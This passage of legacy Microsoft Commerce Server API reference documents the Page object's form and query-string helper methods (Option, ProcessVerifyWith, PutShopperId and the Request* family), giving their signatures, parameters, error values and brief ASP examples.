[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the OPTION item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' The following example generates a selection field in an
' HTML form to enable the customer to select the expiration
' year of the credit card. The Option method generates
 <OPTION VALUE="> tags and marks the current year
as selected:
iyear = Year(date) %>

<SELECT NAME="_cc_expyear">
    <% = oPage.Option(2000, iyear) %> 2000
    <% = oPage.Option(2001, iyear) %> 2001
    <% = oPage.Option(2002, iyear) %> 2002
    <% = oPage.Option(2003, iyear) %> 2003
</SELECT>
' Following is the HTML output that is produced by the ASP script
'  shown previously, assuming that the current year is 2001:
<SELECT NAME="_cc_expyear">
    <OPTION VALUE="2000"> 2000
    <OPTION VALUE="2001" SELECTED> 2001
    <OPTION VALUE="2002"> 2002
    <OPTION VALUE="2003"> 2003
</SELECT>

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::Check

[Visual Basic] Page Object

[Visual Basic] Page.Check


IMSCSPage_3_0::ProcessVerifyWith Method [C++]

Page.ProcessVerifyWith Method [Visual Basic]

Use this method in an ASP file that is activated when the shopper submits an HTML form containing an order. The ProcessVerifyWith method reads the posted contents of hidden fields in the HTML form that were created using the VerifyWith method and writes these values into a Dictionary object. This Dictionary object, called _verify_with, is stored in the OrderForm object.

When the pipeline processes the OrderForm, the contents of the _verify_with Dictionary object are compared to the original values of the fields in the OrderForm object to ensure that a page has not been altered between presentation and final purchase.

If the fields do not match, the RequiredTotal pipeline component generates an error, using the MessageManager message name constant pur_badverify.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::ProcessVerifyWith(
  IDispatch* pdispOrder
);
[Visual Basic]
Sub ProcessVerifyWith(
  pdispOrder As Object
)

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve an OrderForm object that contains the basket for the current shopper.
pdispOrder [Visual Basic]
An object reference that supplies the OrderForm object that contains the basket for the current shopper.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' oOrderForm is a Commerce.Page object

call oPage.ProcessVerifyWith(oOrderForm)

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::VerifyWith

[C++] Message Manager Object

[C++] OrderForm Object

[Visual Basic] Page Object

[Visual Basic] Page.VerifyWith

[Visual Basic] Message Manager Object

[Visual Basic] OrderForm Object


IMSCSPage_3_0::PutShopperId Method [C++]

Page.PutShopperId Method [Visual Basic]

Use this method to write the specified shopper ID to a cookie, and/or store it for use in a URL or secure URL, depending on the initialization mode of the StandardSManager for the site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the PutShopperID method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::PutShopperId(
  BSTR bstrShopperID
);
[Visual Basic]
Sub PutShopperId(
  bstrShopperID As String
)

Parameters

bstrShopperID [C++]
[in] A BSTR that contains the shopper ID.
bstrShopperID [Visual Basic]
A String that contains the shopper ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Where the PutShopperID method will store the specified shopper ID depends upon the StandardSManager initialization mode. In URL mode, this method writes the shopper ID to the request, so that the URL and SURL methods add the shopper ID to a query string in the URL from this page.

If the shopper ID is stored in a URL query string, you can retrieve it by passing the value you set for the application-level MSCSSIDURLKey to the IIS Request object.

If you initialize the StandardSManager in URL mode, you cannot use the StandardSManager's implementation of PutShopperID to store the shopper ID on the client system. Instead, you must use the implementation from the Page object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' sShopperID is a String containing the shopper ID GUID
oPage.PutShopperID(sShopperID)

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::GetShopperId

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URL

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.GetShopperId

[Visual Basic] Page.SURL

[Visual Basic] Page.URL


IMSCSPage_3_0::RequestDate Method [C++]

Page.RequestDate Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a date value (Date Variant), based on the specified or default locale.

Optionally, RequestDate also checks the date against a specified date range.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDate(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDate(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the date value to return if the requested URL query string or form-post variable does not exist or contains no value. The default cannot contain DateTime and Time values.
vtDefault [Visual Basic]
A Variant that contains the date to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted date is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted date is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed date value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Date Variant that contains the processed date value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the date value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Date">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
If the user enters the date into the form and clicks the Send Info button, the value of this form field can be retrieved by the RequestDate method as follows:
vDate = Page.RequestDate("Date", "2/27/01", "1/1/01", "12/31/01", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestDateTime

[C++] IDataFunctions_4_0_::ConvertDateString

[C++] IDataFunctions_4_0::Date

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestDateTime

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date


IMSCSPage_3_0::RequestDateTime Method [C++]

Page.RequestDateTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a date/time value (Date Variant), based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDateTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDateTime(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted date is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the DateTime value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a date/time value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the date-time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="DateTime">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestDateTime method as follows:
vDate = oPage.RequestDateTime("DateTime", "1/1/01 12:00:01 AM", "1/1/01 _
    12:00:01 AM", "12/31/01 11:59:59 PM", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestDate

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestDate

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] Page.RequestTime


IMSCSPage_3_0::RequestDefault Method [C++]

Page.RequestDefault Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and return the value as a string.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDefault(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDefault(
  bstrName As String,
  vtDefault As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string variable to retrieve.
vtDefault [C++]
[in] A VARIANT that contains the value to return if the requested URL query string or form post variable contains an empty or a NULL value, or is not present in the request string. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A VARIANT that contains the value to return if the requested URL query string or form post variable contains an empty or a NULL value, or is not present in the request string. If this parameter is not supplied, the method returns NULL.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed value as a string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

This method is designed so that if a field on a form is blank, or the form does not contain the field, the value returned by default is NULL. NULL is generally the appropriate value to store to a database when a value is not present. If you need the result to be an empty string in the case of a missing value, supply an empty string as the Default parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example attempts to retrieve the value for
' the URL query string variable shopper_phone. Because no
' Default argument is supplied, if this URL query string
' variable has no value, the call returns Null.
' vShopper_phone is a Variant
' oPage is a Commerce.Page object
vShopper_phone = oPage.RequestDefault("shopper_phone")

See Also

[C++] Page Object

[Visual Basic] Page Object


IMSCSPage_3_0::RequestFloat Method [C++]

Page.RequestFloat Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a floating-point value, based on the specified or default locale.

Optionally, the RequestFloat method also checks the converted number against the specified range.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestFloat(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestFloat(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that specifies the low end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that specifies the low end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that specifies the high end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that specifies the high end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the floating-point value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the floating-point value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' vFloat is a Variant
' This example assumes that the float value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Float">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the number into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestFloat method as follows:
vFloat = oPage.RequestFloat("Float", 0, 0, 100, 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestNumber

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[C++] IMSCSPage_3_0::RequestNumber

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestNumber

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.Float

[Visual Basic] Page.RequestNumber


IMSCSPage_3_0::RequestMoneyAsNumber Method [C++]

Page.RequestMoneyAsNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number in the base monetary units of the specified or default locale.

This method is used for backwards compatibility with Site Server 3.0 Commerce Edition sites, and relies on the Site Server 3.0 Commerce Edition monetary format.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestMoneyAsNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestMoneyAsNumber(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value, otherwise, it is assumed that the value is in base monetary units.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is also not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value; otherwise, it is assumed that the value is in base monetary units. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMin [Visual Basic]
A Variant that contains the monetary value that specifies the low end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the high end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that specifies the high end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a number in the base monetary units of the specified or default locale.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is used for backwards compatibility with Site Server 3.0 Commerce Edition sites, and relies on the Site Server 3.0 Commerce Edition monetary format.

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable list_price. The vtMax argument is the upper limit
' of a Variant variable. Using this value as the upper limit and
' zero (0) as the lower limit of the range check ensures that
' the value is not negative:
list_price = oPage .RequestMoneyAsNumber("list_price", 0, 0, _
    100, 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[C++] IDataFunctions_4_0::Money

[C++] IMSCSPage_3_0::RequestFloat

[C++] IMSCSPage_3_0::RequestNumber

[Visual Basic] Page Object

DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber

[Visual Basic] DataFunctions.Money

[Visual Basic] Page.RequestFloat

[Visual Basic] Page.RequestNumber


IMSCSPage_3_0::RequestNumber Method [C++]

Page.RequestNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number based on the specified or default locale.

Optionally, the RequestNumber method checks the converted number against the specified range and validates it based on the specified locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestNumber(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.
vtMin [Visual Basic]
A Variant that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted number.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable cc_expmonth. Because the Default parameter is specified
' as 7, RequestNumber will return 7 if the field is empty
' or missing.
